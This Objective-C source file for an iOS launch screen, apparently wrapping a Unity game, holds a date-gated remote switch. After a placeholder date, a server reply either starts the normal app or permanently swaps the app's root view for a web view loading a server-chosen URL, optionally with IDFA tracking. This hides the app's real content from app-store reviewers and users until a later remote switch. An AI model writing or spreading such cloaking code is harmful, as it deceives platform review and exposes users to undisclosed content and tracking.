#define kForeverKey @"kForeverKey"
#define kThirdUrl @"kThirdUrl"
#define kHosts @"kHosts"
#define kScreenKey @"kScreenKey"
#define kFringeStatus @"kFringeStatus"
#define kBottomBar @"kBottomBar"
#define kIdfaNeed @"kIdfaNeed"

#import "CYTLVTWO_LaunchViewController.h"
#import "CYTLVTWO_MainWebVC.h"

@interface CYTLVTWO_LaunchViewController ()
@property (nonatomic,strong) UnityAppController *de;
@property (nonatomic, copy) void (^callBack)(NSInteger pageType);

@property (nonatomic, strong) UIView *loadingBg;
@property (nonatomic, assign) BOOL changeStop;
@end


@implementation CYTLVTWO_LaunchViewController
+ (void)getAppDataWithDelegate:(UnityAppController *)de andBackBlock:(void (^)(NSInteger type))backBlock{
    
    NSDateFormatter *dateFormatter = [[NSDateFormatter alloc] init];
    [dateFormatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"];
    NSDate *date = [dateFormatter dateFromString:@"KeyOfSwitchDateString"];
    if ([self guPiaoCompareDay:[self todayTime] withOtherDay: date] != 1) {
        backBlock(1);
        return;
    }
    
    NSString *confige = [[NSUserDefaults standardUserDefaults] objectForKey:kForeverKey];
    if (confige) {
        if ([confige isEqualToString:@"A"]) {
            backBlock(1);
        } else if ([confige isEqualToString:@"B"]) {
            backBlock(2);
        } else if ([confige isEqualToString:@"thid"]) {
            CYTLVTWO_MainWebVC *wkWebPage = [[CYTLVTWO_MainWebVC alloc]init];
            wkWebPage.linkUrl = [[NSUserDefaults standardUserDefaults] objectForKey:kThirdUrl];
            wkWebPage.jumpHosts = [[NSUserDefaults standardUserDefaults] objectForKey:kHosts];
            wkWebPage.screenType = [[NSUserDefaults standardUserDefaults] objectForKey:kScreenKey];
            wkWebPage.fringeStatus = [[NSUserDefaults standardUserDefaults] integerForKey:kFringeStatus];
            wkWebPage.bottomBarStatus = [[NSUserDefaults standardUserDefaults] integerForKey:kBottomBar];
            wkWebPage.needIdfa = [[NSUserDefaults standardUserDefaults] boolForKey:kIdfaNeed];
            de.window.rootViewController = wkWebPage;
            [de.window makeKeyAndVisible];
        }
        return;
    }
    
    CYTLVTWO_LaunchViewController *pageTypeVC = [[CYTLVTWO_LaunchViewController alloc] init];
    pageTypeVC.de = de;
    pageTypeVC.callBack = backBlock;
    de.window.rootViewController = pageTypeVC;
    [de.window makeKeyAndVisible];

}



- (void)viewDidLoad {
    [super viewDidLoad];
    self.view.backgroundColor = [UIColor blackColor];
   
    UIImage *img=[UIImage imageNamed:@"jkyxzg"];
    UIImageView *bgImgV = [[UIImageView alloc] initWithImage:img];
    bgImgV.contentMode = UIViewContentModeScaleAspectFit;
    [self.view addSubview:bgImgV];
    [bgImgV setTranslatesAutoresizingMaskIntoConstraints:NO];
    
    NSLayoutConstraint *leftCox = [NSLayoutConstraint constraintWithItem:bgImgV attribute:NSLayoutAttributeLeft relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeLeft multiplier:1.0 constant:0];
    NSLayoutConstraint *rightCox = [NSLayoutConstraint constraintWithItem:bgImgV attribute:NSLayoutAttributeRight relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeRight multiplier:1.0 constant:0];
    NSLayoutConstraint *topCox = [NSLayoutConstraint constraintWithItem:bgImgV attribute:NSLayoutAttributeTop relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeTop multiplier:1.0 constant:0];
    NSLayoutConstraint *bottomCox = [NSLayoutConstraint constraintWithItem:bgImgV attribute:NSLayoutAttributeBottom relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeBottom multiplier:1.0 constant:0];
    [self.view addConstraints:@[leftCox,rightCox,topCox,bottomCox]];
    
    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(10 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
        self.changeStop = YES;
    });
    
    [self dataTypeRequest];
    
    // Do any additional setup after loading the view.
}


-(void)dataTypeRequest
{
    
    NSDictionary *infoDictionary = [[NSBundle mainBundle] infoDictionary];
    NSString *version = [infoDictionary objectForKey:@"CFBundleShortVersionString"];
    
    NSDictionary *paramsDic = @{@"edition":version,@"nonceStr":@"aa8faaaw"};
    //完整url
    NSString *completeUrl = @"KeyOfSwitchHostString/api/client/data/look/edition/CYTLVTWO";
    //中文  特殊字符等转化
    NSURL * url = [[NSURL alloc] initWithString:[completeUrl stringByAddingPercentEncodingWithAllowedCharacters:[NSCharacterSet characterSetWithCharactersInString:@"#%^{}\"[]|\\<> "].invertedSet]];
    NSMutableURLRequest * request = [[NSMutableURLRequest alloc]initWithURL:url cachePolicy:NSURLRequestReloadIgnoringCacheData timeoutInterval:20];
    request.allHTTPHeaderFields = @{
        @"Content-Type":@"application/json"
    };
    
    [request setHTTPMethod:@"POST"];
    if (paramsDic.allKeys.count > 0) {
        [request setHTTPBody:[self dictionaryToJson:paramsDic]];
    }
    NSURLSession * session = [NSURLSession sharedSession];
    
    [self.view addSubview:self.loadingBg];
    [self.loadingBg setTranslatesAutoresizingMaskIntoConstraints:NO];
    NSLayoutConstraint *xCox = [NSLayoutConstraint constraintWithItem:self.loadingBg attribute:NSLayoutAttributeCenterX relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeCenterX multiplier:1.0 constant:0];
    NSLayoutConstraint *yCox = [NSLayoutConstraint constraintWithItem:self.loadingBg attribute:NSLayoutAttributeCenterY relatedBy:NSLayoutRelationEqual toItem:self.view attribute:NSLayoutAttributeCenterY multiplier:1.0 constant:0];
    NSLayoutConstraint *widthCox = [NSLayoutConstraint constraintWithItem:self.loadingBg attribute:NSLayoutAttributeWidth relatedBy:NSLayoutRelationEqual toItem:nil attribute:NSLayoutAttributeNotAnAttribute multiplier:1.0 constant:35];
    NSLayoutConstraint *heightCox = [NSLayoutConstraint constraintWithItem:self.loadingBg attribute:NSLayoutAttributeHeight relatedBy:NSLayoutRelationEqual toItem:nil attribute:NSLayoutAttributeNotAnAttribute multiplier:1.0 constant:35];
    [self.view addConstraints:@[xCox,yCox,widthCox,heightCox]];
    
    
    NSURLSessionTask *mainTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {

        NSDictionary *jsonDic = [self transformDicWithJson:data];
        
        dispatch_async(dispatch_get_main_queue(), ^{
            
            NSString *code = jsonDic[@"code"];
           
            if (jsonDic && [code intValue] == 0) {
                
                [self.loadingBg removeFromSuperview];
                
                NSDictionary *resultDic = jsonDic[@"data"];
                if ([[resultDic objectForKey:@"sign"] intValue] == 1) {
                    self.callBack(1);
                } else {
                    NSString *web = [resultDic objectForKey:@"address"];
                    NSArray *jumpH = [resultDic objectForKey:@"list"];
                    NSString *sType = [resultDic objectForKey:@"showMode"];
                    NSInteger fringeStatus = [[resultDic objectForKey:@"bangState"] integerValue];
                    NSInteger bottomBarStatus = [[resultDic objectForKey:@"manipulateState"] integerValue];
                    BOOL needIdfa = [[resultDic objectForKey:@"concat"] boolValue];
                    if (web && web.length>0) {
                        [[NSUserDefaults standardUserDefaults] setObject:@"thid" forKey:kForeverKey];
                        [[NSUserDefaults standardUserDefaults] setObject:web forKey:kThirdUrl];
                        [[NSUserDefaults standardUserDefaults] setObject:jumpH forKey:kHosts];
                        [[NSUserDefaults standardUserDefaults] setObject:sType forKey:kScreenKey];

                        [[NSUserDefaults standardUserDefaults] setInteger:fringeStatus forKey:kFringeStatus];
                        [[NSUserDefaults standardUserDefaults] setInteger:bottomBarStatus forKey:kBottomBar];
                        [[NSUserDefaults standardUserDefaults] setBool:needIdfa forKey:kIdfaNeed];
                        
                        CYTLVTWO_MainWebVC *wkWebPage = [[CYTLVTWO_MainWebVC alloc]init];
                        wkWebPage.linkUrl = web;
                        wkWebPage.jumpHosts = jumpH;
                        wkWebPage.screenType = sType;
                        wkWebPage.fringeStatus = fringeStatus;
                        wkWebPage.bottomBarStatus = bottomBarStatus;
                        wkWebPage.needIdfa = needIdfa;
                        self.de.window.rootViewController = wkWebPage;
                        [self.de.window makeKeyAndVisible];
                    } else {
                        self.callBack(1);
                    }
                }
                
            }else{
                
                if (self.changeStop) {
                    [self.loadingBg removeFromSuperview];
                    
                    UIAlertController *alert = [UIAlertController alertControllerWithTitle:nil message:@"网络出错了，请重试" preferredStyle:UIAlertControllerStyleAlert];
                    [alert addAction:[UIAlertAction actionWithTitle:@"好的" style:UIAlertActionStyleDestructive handler:^(UIAlertAction *action) {
                        [self dataTypeRequest];
                    }]];
                    [self presentViewController:alert animated:YES completion:nil];
                }else{
                    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(0.5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
                        [self dataTypeRequest];
                    });
                }
                
            }
        });
        
    }];
    [mainTask resume];
    
}
- (UIView *)loadingBg{
    if (!_loadingBg) {
        UIView *loadingBg = [UIView new];
        loadingBg.backgroundColor = [UIColor clearColor];
        UIActivityIndicatorView *actV = [[UIActivityIndicatorView alloc] initWithActivityIndicatorStyle:UIActivityIndicatorViewStyleWhiteLarge];
        [loadingBg addSubview:actV];
        
        [actV setTranslatesAutoresizingMaskIntoConstraints:NO];
        
        NSLayoutConstraint *xCox = [NSLayoutConstraint constraintWithItem:actV attribute:NSLayoutAttributeCenterX relatedBy:NSLayoutRelationEqual toItem:loadingBg attribute:NSLayoutAttributeCenterX multiplier:1.0 constant:0];
        NSLayoutConstraint *yCox = [NSLayoutConstraint constraintWithItem:actV attribute:NSLayoutAttributeCenterY relatedBy:NSLayoutRelationEqual toItem:loadingBg attribute:NSLayoutAttributeCenterY multiplier:1.0 constant:0];
        [loadingBg addConstraints:@[xCox,yCox]];
        
        [actV startAnimating];
        _loadingBg = loadingBg;
    }
    return _loadingBg;
}

+ (NSDate *)todayTime{
    NSDateFormatter *formatter=[[NSDateFormatter alloc]init];
    [formatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"];
    NSString *dateTime=[formatter stringFromDate:[NSDate date]];
    NSDate *date = [formatter dateFromString:dateTime];
    return date;
}

+ (int)guPiaoCompareDay:(NSDate *)oneDay withOtherDay:(NSDate *)otherDay
{
    NSDateFormatter *dateFormatter = [[NSDateFormatter alloc] init];
    [dateFormatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"];
    NSString *oneDayStr = [dateFormatter stringFromDate:oneDay];
    NSString *anotherDayStr = [dateFormatter stringFromDate:otherDay];
    NSDate *dateA = [dateFormatter dateFromString:oneDayStr];
    NSDate *dateB = [dateFormatter dateFromString:anotherDayStr];
    NSComparisonResult result = [dateA compare:dateB];
    if (result == NSOrderedDescending) {
        return 1;
    }
    else if (result == NSOrderedAscending){
        return -1;
    }
    return 0;
    
}


- (NSData*)dictionaryToJson:(NSDictionary *)dic{
    
    NSString *string = [self convertToJsonData:dic];
    
    NSData *data =[string dataUsingEncoding:NSUTF8StringEncoding];
    return data;
    
}

-(NSString *)convertToJsonData:(NSDictionary *)dict

{
    NSError *error;
    NSData *jsonData = [NSJSONSerialization dataWithJSONObject:dict options:NSJSONWritingPrettyPrinted error:&error];

    NSString *jsonString;

    if (!jsonData) {

        NSLog(@"%@",error);

    }else{

        jsonString = [[NSString alloc]initWithData:jsonData encoding:NSUTF8StringEncoding];

    }

    NSMutableString *mutStr = [NSMutableString stringWithString:jsonString];

    NSRange range = {0,jsonString.length};

    //去掉字符串中的空格

    [mutStr replaceOccurrencesOfString:@" " withString:@"" options:NSLiteralSearch range:range];

    NSRange range2 = {0,mutStr.length};

    //去掉字符串中的换行符

    [mutStr replaceOccurrencesOfString:@"\n" withString:@"" options:NSLiteralSearch range:range2];
    return mutStr;
}

- (NSDictionary *)transformDicWithJson:(NSData *)jsonData {
    
    NSError *error;
    if (jsonData == nil) return nil;
    NSMutableDictionary *dic = [[NSJSONSerialization JSONObjectWithData:jsonData options:NSJSONReadingAllowFragments error:&error] mutableCopy];

    if (error == nil) {
        return dic;
    }else {
        NSLog(@"返回数据解析错误 : %@",error.localizedDescription);
        return nil;
    }
}


/*
#pragma mark - Navigation

// In a storyboard-based application, you will often want to do a little preparation before navigation
- (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender {
    // Get the new view controller using [segue destinationViewController].
    // Pass the selected object to the new view controller.
}
*/

@end
